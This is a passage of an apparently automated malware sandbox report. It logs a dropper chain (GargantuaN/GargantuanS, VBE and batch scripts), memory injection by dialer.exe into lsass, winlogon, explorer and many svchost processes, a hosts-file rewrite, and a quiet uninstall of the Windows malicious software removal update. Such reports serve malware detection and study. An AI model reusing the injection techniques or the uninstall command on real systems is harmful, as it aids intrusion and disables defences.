Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166940000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29CE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: C350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 22399A10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BFFC960000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FBA3250000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1D4C2220000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F2989C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 25EEFAE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23839DB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 17644530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B42C420000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BCF4530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1B0BB950000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\PerfDll\hyperProviderSavesinto.exe base: 15C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 216D26C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe base: 1E7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe base: 2D90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\WmiPrvSE.exe base: 1B4E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\WmiPrvSE.exe base: 13C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 150E9040000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 267FCE60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\PING.EXE base: 2359B4F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\RuntimeBroker.exe base: 1BD70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\RuntimeBroker.exe base: 1360000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe base: BB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe base: E60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 289066A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E205C10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E2066A0000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 2580 base: C350000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe

Thread register set: target process: 7964

Jump to behavior

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B380000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\RuntimeBroker.exe base: 1300000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166940000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29CE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: C350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 22399A10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BFFC960000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FBA3250000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1D4C2220000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F2989C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 25EEFAE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23839DB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 17644530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B42C420000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BCF4530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1B0BB950000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\PerfDll\hyperProviderSavesinto.exe base: 15C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 216D26C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe base: 1E7C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe base: 2D90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\WmiPrvSE.exe base: 1B4E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\WmiPrvSE.exe base: 13C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 150E9040000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 267FCE60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\PING.EXE base: 2359B4F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\RuntimeBroker.exe base: 1BD70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\RuntimeBroker.exe base: 1360000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe base: BB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe base: E60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 289066A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E205C10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E2066A0000

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Code function: 0_2_00007FF7F4D7ECA0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF7F4D7ECA0

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Process created: C:\Users\user\AppData\Local\Temp\GargantuaN.exe "C:\Users\user\AppData\Local\Temp\GargantuaN.exe"	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Process created: C:\Users\user\AppData\Local\Temp\GargantuanS.exe "C:\Users\user\AppData\Local\Temp\GargantuanS.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\PerfDll\vvkzdvmSUM14jiAzc.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\PerfDll\hyperProviderSavesinto.exe "C:\PerfDll/hyperProviderSavesinto.exe"	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\sB1sK52ORC.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Windows\System32\dialer.exe

Code function: 46_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

46_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 46_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

46_2_0000000140001B54

Source: winlogon.exe, 00000031.00000000.1741644012.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000031.00000002.2885338159.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000031.00000000.1741644012.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000031.00000002.2885338159.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000031.00000000.1741644012.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000031.00000002.2885338159.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winlogon.exe, 00000031.00000000.1741644012.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000031.00000002.2885338159.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Code function: 0_2_00007FF7F4D98DB0 cpuid

0_2_00007FF7F4D98DB0

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		0_2_00007FF7F4D7DE04
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		1_2_00D6AF0F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
